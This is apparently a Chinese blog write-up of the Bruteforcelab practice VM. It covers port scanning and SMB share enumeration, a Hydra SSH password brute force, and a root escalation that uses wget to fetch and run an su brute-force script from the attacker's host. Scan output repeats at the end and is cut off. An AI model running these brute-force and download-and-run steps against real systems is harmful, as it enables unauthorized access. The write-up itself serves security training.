![\"image-20240423163003127\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231740713.png\")
<\/div>\n
![\"image-20240423163034566\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231740714.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ rustscan -a 192.168.0.157 -- -A\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nPlease contribute more quotes to our GitHub https:\/\/github.com\/rustscan\/rustscan\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.157:22\nOpen 192.168.0.157:10000\nOpen 192.168.0.157:19000\nOpen 192.168.0.157:19222\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-23 04:31 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:31, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:31, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:31, 0.00s elapsed\nInitiating Ping Scan at 04:31\nScanning 192.168.0.157 [2 ports]\nCompleted Ping Scan at 04:31, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 04:31\nCompleted Parallel DNS resolution of 1 host. at 04:31, 0.01s elapsed\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 04:31\nScanning LAB-Bruteforce (192.168.0.157) [4 ports]\nDiscovered open port 22\/tcp on 192.168.0.157\nDiscovered open port 10000\/tcp on 192.168.0.157\nDiscovered open port 19000\/tcp on 192.168.0.157\nDiscovered open port 19222\/tcp on 192.168.0.157\nCompleted Connect Scan at 04:31, 0.00s elapsed (4 total ports)\nInitiating Service scan at 04:31\nScanning 4 services on LAB-Bruteforce (192.168.0.157)\nCompleted Service scan at 04:31, 53.63s elapsed (4 services on 1 host)\nNSE: Script scanning 192.168.0.157.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:32, 30.02s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nNmap scan report for LAB-Bruteforce (192.168.0.157)\nHost is up, received conn-refused (0.00055s latency).\nScanned at 2024-04-23 04:31:03 EDT for 83s\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n| 3072 1c:db:f8:92:72:c4:72:dc:24:c3:ca:7c:80:eb:f4:81 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnDkPWhcxcSZLNBWkDl1eizSw9a6bUKoMUvNUJCznGf8ExJ0o+7tPsdJsNDObU0Ap\/dX6apZ2aBslLi\/BJ0bMPCDF0Ovp1QErgm2PtgxK3W0VUR3tvXIKv8gwYpEQgpwhmF+bWrbEBFdLK\/rtBDLFXiTYqYOMo7hriswsBY6\/eLJo7roRvVDJmg0aDwTMs6cjSGVWTBkRipQrRfggl53gpnFxg90yiibGs2JT6GSOxGalVLotOMBl+pGGkxStgcVYA11LK6zNY2kCfmuh+n\/DRftdMdNl+vnpUOaXo8oX0Wk0Zqd2YNjlUYA2yjZVMMUjf6ORZkjYe3wc5SADkQvUZTuyuWS9DKFxS6Y0wEBIdVdP6fj4aXC1cEkYq3hdSr2B8LIs7BBy1WWdordqdU5MAP3hw+VtFGIpLRRl9hHPYVri7qGw\/dmnJKzNa5BUosHAebgr56WKTKxvbCf+Wn6KFbJEphGS\/hEjvOcMwpIwYQbjg9V7y+HPL47vL\/huIpBU=\n| 256 7f:30:33:e2:f4:0d:87:41:5e:a3:24:de:57:c6:73:8b (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKDLqka8T9BdXD7sEjNdCNvaWN2nI97c0JiyTL\/WQ+oCrt2oc6umIuUSbCX2L7yzX1Q2sirMixb\/EFMc\/ASYE7E=\n| 256 9a:9e:2f:53:e0:2b:b4:98:3f:34:95:53:56:87:a4:76 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK94OoXaK+BKuXw2YeGlhV8wIhcK5uhHJoTWStinBxAY\n10000\/tcp open http syn-ack MiniServ 2.021 (Webmin httpd)\n|_http-favicon: Unknown favicon MD5: 9244C0A07ADF94BFD888D463CF479411\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: 200 — Document follows\n19000\/tcp open netbios-ssn syn-ack Samba smbd 4.6.2\n19222\/tcp open netbios-ssn syn-ack Samba smbd 4.6.2\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 83.95 seconds<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
![\"image-20240423163715248\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n\u654f\u611f\u7aef\u53e3<\/h3>\n
\u53d1\u73b019000<\/code>\u548c19222<\/code>\u90fd\u5f00\u653e\u4e86smb\u670d\u52a1\uff0c\u5c1d\u8bd5\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient -L \/\/192.168.0.157\/\/ -p 19000\nPassword for [WORKGROUP\\kali]:\n\n Sharename Type Comment\n --------- ---- -------\n print$ Disk Printer Drivers\n Test Disk \n IPC$ IPC IPC Service (Samba 4.13.13-Debian)\nReconnecting with SMB1 for workgroup listing.\ndo_connect: Connection to 192.168.0.157 failed (Error NT_STATUS_CONNECTION_REFUSED)\nUnable to connect with SMB1 -- no workgroup available<\/code><\/pre>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient -L \/\/192.168.0.157\/\/ -p 19222\nPassword for [WORKGROUP\\kali]:\n\n Sharename Type Comment\n --------- ---- -------\n print$ Disk Printer Drivers\n Test Disk \n IPC$ IPC IPC Service (Samba 4.13.13-Debian)\nReconnecting with SMB1 for workgroup listing.\ndo_connect: Connection to 192.168.0.157 failed (Error NT_STATUS_CONNECTION_REFUSED)\nUnable to connect with SMB1 -- no workgroup available<\/code><\/pre>\n\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient \/\/192.168.0.157\/test -p 19000 \nPassword for [WORKGROUP\\kali]:\nTry "help" to get a list of possible commands.\nsmb: \\> ls -la\nNT_STATUS_NO_SUCH_FILE listing \\-la\nsmb: \\> ls\n . D 0 Sun Mar 26 15:06:46 2023\n .. D 0 Sun Mar 26 14:12:02 2023\n README.txt N 115 Sun Mar 26 15:06:46 2023\n\n 9232860 blocks of size 1024. 3052692 blocks available\nsmb: \\> get README.txt \ngetting file \\README.txt of size 115 as README.txt (5.1 KiloBytes\/sec) (average 5.1 KiloBytes\/sec)\nsmb: \\> exit\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ cat README.txt \nHey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctly\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient \/\/192.168.0.157\/test -p 19222\nPassword for [WORKGROUP\\kali]:\nTry "help" to get a list of possible commands.\nsmb: \\> ls\n . D 0 Sun Mar 26 15:06:46 2023\n .. D 0 Sun Mar 26 14:12:02 2023\n README.txt N 115 Sun Mar 26 15:06:46 2023\n\n 9232860 blocks of size 1024. 3052692 blocks available\nsmb: \\> get README.txt \ngetting file \\README.txt of size 115 as README.txt (56.1 KiloBytes\/sec) (average 56.2 KiloBytes\/sec)\nsmb: \\> exit\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ cat README.txt \nHey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctly<\/code><\/pre>\n\u7206\u7834ssh<\/h3>\n
\u83b7\u53d6\u5230\u4e86\u7528\u6237Andrea<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ hydra -l andrea -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/192.168.0.157:22 \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-04-23 04:55:42\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/192.168.0.157:22\/\n[STATUS] 138.00 tries\/min, 138 tries in 00:01h, 14344263 to do in 1732:24h, 14 active\n[STATUS] 98.67 tries\/min, 296 tries in 00:03h, 14344105 to do in 2422:60h, 14 active\n[STATUS] 92.29 tries\/min, 646 tries in 00:07h, 14343755 to do in 2590:28h, 14 active\n[22][ssh] host: 192.168.0.157 login: andrea password: awesome\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 2 final worker threads did not complete until end.\n[ERROR] 2 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-04-23 05:05:24<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n
<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nandrea@LAB-Bruteforce:~$ ls -la\ntotal 40\ndrwxr-xr-x 5 andrea andrea 4096 Mar 26 2023 .\ndrwxr-xr-x 4 root root 4096 Mar 26 2023 ..\n-rw------- 1 andrea andrea 583 Mar 26 2023 .bash_history\n-rw-r--r-- 1 andrea andrea 220 Mar 26 2023 .bash_logout\n-rw-r--r-- 1 andrea andrea 3526 Mar 26 2023 .bashrc\ndrwxr-xr-x 4 andrea andrea 4096 Mar 26 2023 .cache\ndrwxr-xr-x 5 andrea andrea 4096 Mar 26 2023 .config\ndrwxr-xr-x 3 andrea andrea 4096 Mar 26 2023 .local\n-rw-r--r-- 1 andrea andrea 807 Mar 26 2023 .profile\n-rw-r--r-- 1 andrea andrea 33 Mar 26 2023 user.txt\nandrea@LAB-Bruteforce:~$ cat user.txt \nd5eb7d8b6f57c295e0bedf7eef531360\nandrea@LAB-Bruteforce:~$ sudo -l\n[sudo] password for andrea: \nSorry, user andrea may not run sudo on Lab-Bruteforce.\nandrea@LAB-Bruteforce:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\ntss:x:103:109:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:105:111:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\navahi-autoipd:x:106:115:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nusbmux:x:107:46:usbmux daemon,,,:\/var\/lib\/usbmux:\/usr\/sbin\/nologin\nrtkit:x:108:116:RealtimeKit,,,:\/proc:\/usr\/sbin\/nologin\ndnsmasq:x:109:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\navahi:x:110:117:Avahi mDNS daemon,,,:\/run\/avahi-daemon:\/usr\/sbin\/nologin\nspeech-dispatcher:x:111:29:Speech Dispatcher,,,:\/run\/speech-dispatcher:\/bin\/false\npulse:x:112:119:PulseAudio daemon,,,:\/run\/pulse:\/usr\/sbin\/nologin\nsaned:x:113:122::\/var\/lib\/saned:\/usr\/sbin\/nologin\ncolord:x:114:123:colord colour management daemon,,,:\/var\/lib\/colord:\/usr\/sbin\/nologin\ngeoclue:x:115:124::\/var\/lib\/geoclue:\/usr\/sbin\/nologin\nDebian-gdm:x:116:125:Gnome Display Manager:\/var\/lib\/gdm3:\/bin\/false\nmattia:x:1000:1000:mattia,,,:\/home\/mattia:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nsshd:x:117:65534::\/run\/sshd:\/usr\/sbin\/nologin\nandrea:x:1001:1001:,,,:\/home\/andrea:\/bin\/bash\nandrea@LAB-Bruteforce:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/xorg\/Xorg.wrap\n\/usr\/sbin\/pppd\n\/usr\/bin\/pkexec\n\/usr\/bin\/su\n\/usr\/bin\/chfn\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/newgrp\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chsh\n\/usr\/bin\/fusermount3\n\/usr\/bin\/ntfs-3g\nandrea@LAB-Bruteforce:~$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/lib\/x86_64-linux-gnu\/gstreamer1.0\/gstreamer-1.0\/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep\n\/usr\/bin\/gnome-keyring-daemon cap_ipc_lock=ep\n\/usr\/bin\/ping cap_net_raw=ep\nandrea@LAB-Bruteforce:~$ cd ..\nandrea@LAB-Bruteforce:\/home$ ls -la\ntotal 16\ndrwxr-xr-x 4 root root 4096 Mar 26 2023 .\ndrwxr-xr-x 19 root root 4096 Mar 26 2023 ..\ndrwxr-xr-x 5 andrea andrea 4096 Mar 26 2023 andrea\ndrwxr-xr-x 17 mattia mattia 4096 Mar 26 2023 mattia\nandrea@LAB-Bruteforce:\/home$ cd mattia\/\nandrea@LAB-Bruteforce:\/home\/mattia$ ls -la\ntotal 84\ndrwxr-xr-x 17 mattia mattia 4096 Mar 26 2023 .\ndrwxr-xr-x 4 root root 4096 Mar 26 2023 ..\n-rw------- 1 mattia mattia 619 Mar 26 2023 .bash_history\n-rw-r--r-- 1 mattia mattia 220 Mar 26 2023 .bash_logout\n-rw-r--r-- 1 mattia mattia 3526 Mar 26 2023 .bashrc\ndrwx------ 12 mattia mattia 4096 Mar 26 2023 .cache\ndrwx------ 13 mattia mattia 4096 Mar 26 2023 .config\ndrwx------ 2 mattia mattia 4096 Mar 26 2023 .gnupg\ndrwx------ 3 mattia mattia 4096 Mar 26 2023 .local\ndrwx------ 4 mattia mattia 4096 Mar 26 2023 .mozilla\n-rw-r--r-- 1 mattia mattia 807 Mar 26 2023 .profile\ndrwx------ 2 mattia mattia 4096 Mar 26 2023 .ssh\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Desktop\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Documents\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Downloads\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Music\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Pictures\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Public\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Templates\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Videos\ndrwxr-xr-x 2 root root 4096 Mar 26 2023 testFolder<\/code><\/pre>\n\u5c1d\u8bd5\u7206\u7834\u672c\u5730\u7528\u6237\u7684\u5bc6\u7801<\/h3>\n
\u4e4b\u524d\u8bb0\u5f97\u6709\u4e2a\u9776\u673a\u662f\u8fd9\u4e48\u5e72\u7684\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
andrea@LAB-Bruteforce:\/tmp$ wget http:\/\/192.168.0.143:8888\/suBF.sh\n--2024-04-23 11:11:55-- http:\/\/192.168.0.143:8888\/suBF.sh\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2340 (2.3K) [text\/x-sh]\nSaving to: \u2018suBF.sh\u2019\n\nsuBF.sh 100%[=========================================================================>] 2.29K --.-KB\/s in 0.01s \n\n2024-04-23 11:11:55 (212 KB\/s) - \u2018suBF.sh\u2019 saved [2340\/2340]\n\nandrea@LAB-Bruteforce:\/tmp$ chmod +x suBF.sh \nandrea@LAB-Bruteforce:\/tmp$ wget http:\/\/192.168.0.143:8888\/top12000.txt\n--2024-04-23 11:12:15-- http:\/\/192.168.0.143:8888\/top12000.txt\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 100205 (98K) [text\/plain]\nSaving to: \u2018top12000.txt\u2019\n\ntop12000.txt 100%[=========================================================================>] 97.86K 176KB\/s in 0.6s \n\n2024-04-23 11:12:16 (176 KB\/s) - \u2018top12000.txt\u2019 saved [100205\/100205]\n\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh \nThis tool bruteforces a selected user using binary su and as passwords: null password, username, reverse username and a wordlist (top12000.txt).\nYou can specify a username using -u <username> and a wordlist via -w <wordlist>.\nBy default the BF default speed is using 100 su processes at the same time (each su try last 0.7s and a new su try in 0.007s) ~ 143s to complete\nYou can configure this times using -t (timeout su process) ans -s (sleep between 2 su processes).\nFastest recommendation: -t 0.5 (minimun acceptable) and -s 0.003 ~ 108s to complete\n\nExample: .\/suBF.sh -u <USERNAME> [-w top12000.txt] [-t 0.7] [-s 0.007]\n\nTHE USERNAME IS CASE SENSITIVE AND THIS SCRIPT DOES NOT CHECK IF THE PROVIDED USERNAME EXIST, BE CAREFUL\n\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh -u root \n [+] Bruteforcing root...\n^C\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh -u root -t 0.5 -s 0.003\n [+] Bruteforcing root...\nWordlist exhausted<\/code><\/pre>\n\u67e5\u770b\u5e08\u5085\u4eec\u7684wp\uff0c\u53d1\u73b0\u662f\u7528\u4e86\u4e00\u4e2a\u53eb\u505asucrack<\/code>\u7684\u5de5\u5177\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\ngit clone https:\/\/github.com\/hemp3l\/sucrack.git\ncd sucrack\n.\/configure\nsudo make\nsudo make install\ncd src\npython3 -m http.server 8888<\/code><\/pre>\nandrea@LAB-Bruteforce:\/tmp$ wget http:\/\/192.168.0.143:8888\/sucrack\n--2024-04-23 11:24:06-- http:\/\/192.168.0.143:8888\/sucrack\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 72376 (71K) [application\/octet-stream]\nSaving to: \u2018sucrack\u2019\n\nsucrack 100%[=========================================================================>] 70.68K --.-KB\/s in 0s \n\n2024-04-23 11:24:06 (192 MB\/s) - \u2018sucrack\u2019 saved [72376\/72376]\n\nandrea@LAB-Bruteforce:\/tmp$ chmod +x sucrack\nandrea@LAB-Bruteforce:\/tmp$ .\/su\nsuBF.sh sucrack \nandrea@LAB-Bruteforce:\/tmp$ .\/su\nsuBF.sh sucrack \nandrea@LAB-Bruteforce:\/tmp$ .\/su\nsuBF.sh sucrack \nandrea@LAB-Bruteforce:\/tmp$ .\/sucrack \n.\/sucrack: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.33' not found (required by .\/sucrack)\n.\/sucrack: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.34' not found (required by .\/sucrack)<\/code><\/pre>\n\u989d\u3002<\/p>\n
\u53ea\u80fd\u518d\u7528\u524d\u9762\u7684\u90a3\u4e2a\u4e86\uff0c\u6309\u7406\u6765\u8bf4\u5bc6\u7801\u4e5f\u5728\u5176\u4e2d\u7684\uff0c\u6ca1\u7206\u7834\u51fa\u6765\u53ef\u80fd\u662f\u592a\u5feb\u4e86\u3002<\/p>\n
andrea@LAB-Bruteforce:\/tmp$ grep "1998" top12000.txt \n1998\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh -u root -w top12000.txt -t 0.7 -s 0.007\n [+] Bruteforcing root...\n You can login as root using password: 1998<\/code><\/pre>\n\u770b\u6765\u8fd8\u662f\u4e0d\u80fd\u592a\u6025\u529f\u8fd1\u5229\u554a\uff01\u5c1d\u8bd5\u4f7f\u7528\u5bc6\u78011998<\/code>\u8fdb\u884c\u767b\u5f55\uff01<\/p>\nandrea@LAB-Bruteforce:~$ su root\nPassword: \nroot@LAB-Bruteforce:\/home\/andrea# cd \/root\nroot@LAB-Bruteforce:~# ls -la\ntotal 44\ndrwx------ 5 root root 4096 Mar 26 2023 .\ndrwxr-xr-x 19 root root 4096 Mar 26 2023 ..\n-rw------- 1 root root 2186 Mar 26 2023 .bash_history\n-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc\ndrwx------ 3 root root 4096 Mar 26 2023 .cache\ndrwxr-xr-x 3 root root 4096 Mar 26 2023 .local\n-rw-r--r-- 1 root root 161 Jul 9 2019 .profile\ndrwxr-xr-x 2 root root 4096 Mar 26 2023 .tmp\n-rw-r--r-- 1 root root 51 Mar 26 2023 root.txt\n-r-xr-xr-x 1 root root 7244 Mar 26 2023 vboxpostinstall.sh\nroot@LAB-Bruteforce:~# cat root.txt \nCongratulations.\n\nd2f74ec1ca3e40f6fa07f62d42eb9ea5\nroot@LAB-Bruteforce:~# head vboxpostinstall.sh \n#!\/bin\/bash\n## @file\n# Post installation script template for debian-like distros.\n#\n# Note! This script expects to be running w\/o chroot.\n# Note! When using ubiquity, this is run after installation logs have\n# been copied to \/var\/log\/installation.\n#\n\n#\nroot@LAB-Bruteforce:~# cat .bash_history \nsudo apt install openssh-server\nclear\nssh\nifconfig\nipconfig\nsudo apt install net-tools\nclear<\/code><\/pre>\n\u62ff\u5230flag\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Bruteforcelab \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Brutefor […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-613","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/613","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=613"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/613\/revisions"}],"predecessor-version":[{"id":614,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/613\/revisions\/614"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=613"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ rustscan -a 192.168.0.157 -- -A\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nPlease contribute more quotes to our GitHub https:\/\/github.com\/rustscan\/rustscan\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.157:22\nOpen 192.168.0.157:10000\nOpen 192.168.0.157:19000\nOpen 192.168.0.157:19222\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-23 04:31 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:31, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:31, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:31, 0.00s elapsed\nInitiating Ping Scan at 04:31\nScanning 192.168.0.157 [2 ports]\nCompleted Ping Scan at 04:31, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 